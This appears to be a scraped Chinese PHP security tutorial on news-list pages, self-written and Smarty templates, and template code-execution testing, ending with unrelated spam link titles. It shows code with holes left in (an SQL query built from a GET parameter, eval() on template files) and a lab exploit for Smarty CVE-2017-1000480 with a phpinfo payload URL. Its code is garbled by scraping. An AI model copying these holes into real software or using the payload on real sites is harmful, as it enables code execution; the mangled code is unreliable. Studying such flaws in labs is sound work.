当前位置: 首页 > news >正文

ps网站建设教程视频网站创建桌面快捷方式

ps网站建设教程视频,网站创建桌面快捷方式,cms智能云平台,做视频网站利润如何处理目录 新闻列表 自写模版引用 Smarty模版引用 代码RCE安全测试 思维导图 PHP知识点#xff1a; 功能#xff1a;新闻列表#xff0c;会员中心#xff0c;资源下载#xff0c;留言版#xff0c;后台模块#xff0c;模版引用#xff0c;框架开发等 技术#xff1a;输…目录 新闻列表 自写模版引用 Smarty模版引用 代码RCE安全测试 思维导图 PHP知识点 功能新闻列表会员中心资源下载留言版后台模块模版引用框架开发等 技术输入输出超全局变量数据库操作逻辑架构包含上传下载删除; 技术JSCSS混用Cookie,Session操作MVC架构ThinkPHP引用等。 新闻列表 1、数据库创建新闻存储 2、代码连接数据库读取 3、页面进行自定义显示 简单实现新闻列表显示 new.html 打开数据库创建新的新闻数据库new 键值对id title author content image给数据库new写入新数据 image写保存好的图片路径即可 输入相关简单代码能把数据库中的资料显示出来看 new.php代码如下 ?php // 包含数据库配置文件 include config.php;// 从GET请求中获取id参数如果不存在则默认为1 $id $_GET[id] ?? 1;// 构建SQL查询语句 $sql select * from new where id$id;// 执行查询并获取结果集 $data mysqli_query($con, $sql);// 使用mysqli_fetch_row遍历结果集的每一行 while ($row mysqli_fetch_row($data)) {// 输出标题注意mysqli_fetch_row返回的是枚举数组索引从0开始echo 标题: title . $row[1] . /titlebr;// 输出第二列数据echo $row[2] . br;// 输出第三列数据echo $row[3] . br;// 输出图片注意在HTML中使用$row[4]作为图片路径echo img src$row[4] width300 height300/imgbr; }// 关闭数据库连接 mysqli_close($con); ?自写模版引用 1、页面显示样式编排 2、显示数据插入页面 3、引用模版调用触发 模板规范化显示更美观首先在项目中创建new.html前端模板代码 创建新的数据库news 改变以下源代码将数据库中的元素一一替换为使用html渲染效果如下图 安全问题如果在数据库中任何地方添加?php phpinfo();? 在调用数据库内容的时候会自动显示 如果在html模板源码中加入?php phpinfo();? 在执行HTML并不会显示但通过php解析调用则依然会展示有关内容 ?php phpinfo(); ? 这段代码用于显示关于服务器 PHP 配置的详细信息。虽然 phpinfo() 是一个对开发人员有用的函数可以获取有关 PHP 环境的信息但在生产环境中应谨慎使用。 潜在的风险和关切点 安全风险 显示详细的 PHP 信息可能透露有关服务器配置的敏感信息包括 PHP 版本、扩展和路径。攻击者可以利用这些信息来识别潜在的漏洞。信息泄露 在生产环境中显示详细的 PHP 信息是不推荐的因为存在信息泄露的风险。攻击者可能利用这些信息更好地了解服务器的设置并识别潜在的攻击点。服务器加固 安全最佳实践涉及将服务器信息的暴露最小化以减少攻击面。应该限制不必要的服务器环境信息以降低攻击表面。   原理模板中存在PHP代码或者模板可以被操控修改模板在被渲染执行时就会执行显示到页面中 PHP 内置函数用于读取指定文件此处为 new.html的内容并返回。 $template file_get_contents(new.html);PHP 内置函数用于在模板内容中查找 {page_title} 占位符并替换为变量 $page_title 的值。替换后的内容再次赋值给变量 $template。 通过 eval(? . $template) 将替换后的内容输出到浏览器。eval() 函数用于执行动态生成的 PHP 代码。 $templatestr_replace({page_title},$page_title,$template); $templatestr_replace({heading},$subheading,$template); $templatestr_replace({subheading},$subheading,$template); $templatestr_replace({content},$content,$template); $templatestr_replace({$item},$item,$template); eval(? . $template); Smarty模版引用 下载https://github.com/smarty-php/smarty/releases 使用 1、创建一个文件夹命名为smarty-demo。 2、下载Smarty对应版本并解压缩到该文件夹中。 3、创建一个PHP文件命名为index.php并在文件中添加以下代码 ?php // 引入 Smarty 类文件 require(smarty-demo/libs/Smarty.class.php); // 创建 Smarty 实例 $smarty new Smarty; // 设置 Smarty 相关属性 $smarty-template_dir smarty-demo/templates/; $smarty-compile_dir smarty-demo/templates_c/; $smarty-cache_dir smarty-demo/cache/; $smarty-config_dir smarty-demo/configs/; // 赋值变量到模板中 $smarty-assign(title, 欢迎使用 Smarty); // 显示模板 $smarty-display(index.tpl); ? 4、创建一个名为index.tpl的模板文件并将以下代码复制到上述点定义文件夹中 !DOCTYPE html html head title{$title}/title /head body h1{$title}/h1 p这是一个使用 Smarty 的例子。/p /body /html 安全性在相关模板内容下加入?php phpinfo();? 但是发现不能泄露 代码RCE安全测试 1、自写模版的安全隐患 2、第三方Smarty的安全隐患 自写模版的安全隐患 第三方 Smarty 的安全隐患 没有直接 RCE 安全问题但也有漏洞 Smarty 模板注入 CVE-2017-1000480在 3.1.42 和 4.0.2 版本之前模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。Smarty 注入漏洞_CNNVD-202201-684Smarty 模版沙箱逃逸远程代码执行漏洞CVE-2021-26119 PHP由于 Smarty 中 Smarty_Internal_Runtime_TplFunction 模块通过引擎编译生成模板文件攻击者可利用该漏洞在获得权限的情况下构造恶意数据最终造成远程代码执行。 Smarty 模板注入 CVE-2017-1000480 参考链接https://xz.aliyun.com/t/12220 Smarty 3.1.32 PHP代码执行漏洞分析—【CVE-2017-1000480】_smarty3漏洞-CSDN博客 下载 3.1.42 之前的 Smarty 版本并解压缩到 www 目录下 在 smarty 中随意创建一个 php 文件写入以下代码我创建的是 index.php ?php define(SMARTY_ROOT_DIR, str_replace(\\, /, __DIR__));define(SMARTY_COMPILE_DIR, SMARTY_ROOT_DIR./tmp/templates_c);define(SMARTY_CACHE_DIR, SMARTY_ROOT_DIR./tmp/cache);include_once(SMARTY_ROOT_DIR . /smarty-3.1.31/libs/Smarty.class.php);class testSmarty extends Smarty_Resource_Custom {protected function fetch($name, $source, $mtime){$template CVE-2017-1000480 smarty PHP code injection;$source $template;$mtime time();} }$smarty new Smarty(); $smarty-setCacheDir(SMARTY_CACHE_DIR); $smarty-setCompileDir(SMARTY_COMPILE_DIR); $smarty-registerResource(test, new testSmarty); $smarty-display(test:.$_GET[eval]); ? payload 的最前面需要加上 */。同时还要把后面的 */ 给注释掉可以在 payload 最后加上 //。中间填上 php 代码即可。 http://127.0.0.1/index.php?eval*/phpinfo();// 发现成功执行了 phpinfo () 代码 思维导图
http://www.w-s-a.com/news/679892/

相关文章:

  • 洪山网站建设域名购买之后怎么做网站
  • 北京网站建设公司服务哪家好wap是什么意思?
  • 怎么看公司网站做的好不好哦wordpress页面目录下
  • 做装修业务呢有多少网站平台搭建是什么
  • 潍坊优化网站排名淘宝做网站被骗
  • 建设专业网站的利弊免费logo设计生成器下载
  • 怎么在备案号添加网站网页设计动画网站
  • 网站开发 只要wordpress滑动注册
  • 跨境电商运营主要做什么静态网站如何做优化
  • 南充网站建设网站网站备案安全责任书是谁盖章
  • 怎么将网站设置为首页网站子目录怎么做
  • 做网站交互wordpress信息导出
  • 如何自己做企业网站做外贸登录国外网站
  • 郑州炫彩网站建设网站集约化建设调研报告
  • 2016年两学一做教育网站优良的定制网站建设制作商
  • 自己做网站需要哪些流程网站建设服务费如何做会计分录
  • 莆田建站培训用手机制作游戏的app软件
  • 中山建网站找哪家wordpress采集图片插件
  • 网站首页做后台链接有什么好用的模拟建站软件
  • 宁波有没有开发网站的公司网站上线除了备案还需要什么
  • 网站备案授权wordpress默认主体设置
  • 厦门微信网站广州推广策划公司
  • 集团公司网站开发asp网站怎么运行
  • 广州短视频网站开发东莞市建设信息网
  • 建设网站如果赚钱电脑可以做服务器部署网站吗
  • 网站建设的编程专门做面包和蛋糕的网站
  • 档案网站建设比较分析南京建站公司
  • 哪个网站可以做店招傻瓜式wordpress
  • 网站开发项目经理职责青岛模版网站建设
  • 企业建站哪个好网站建设所用程序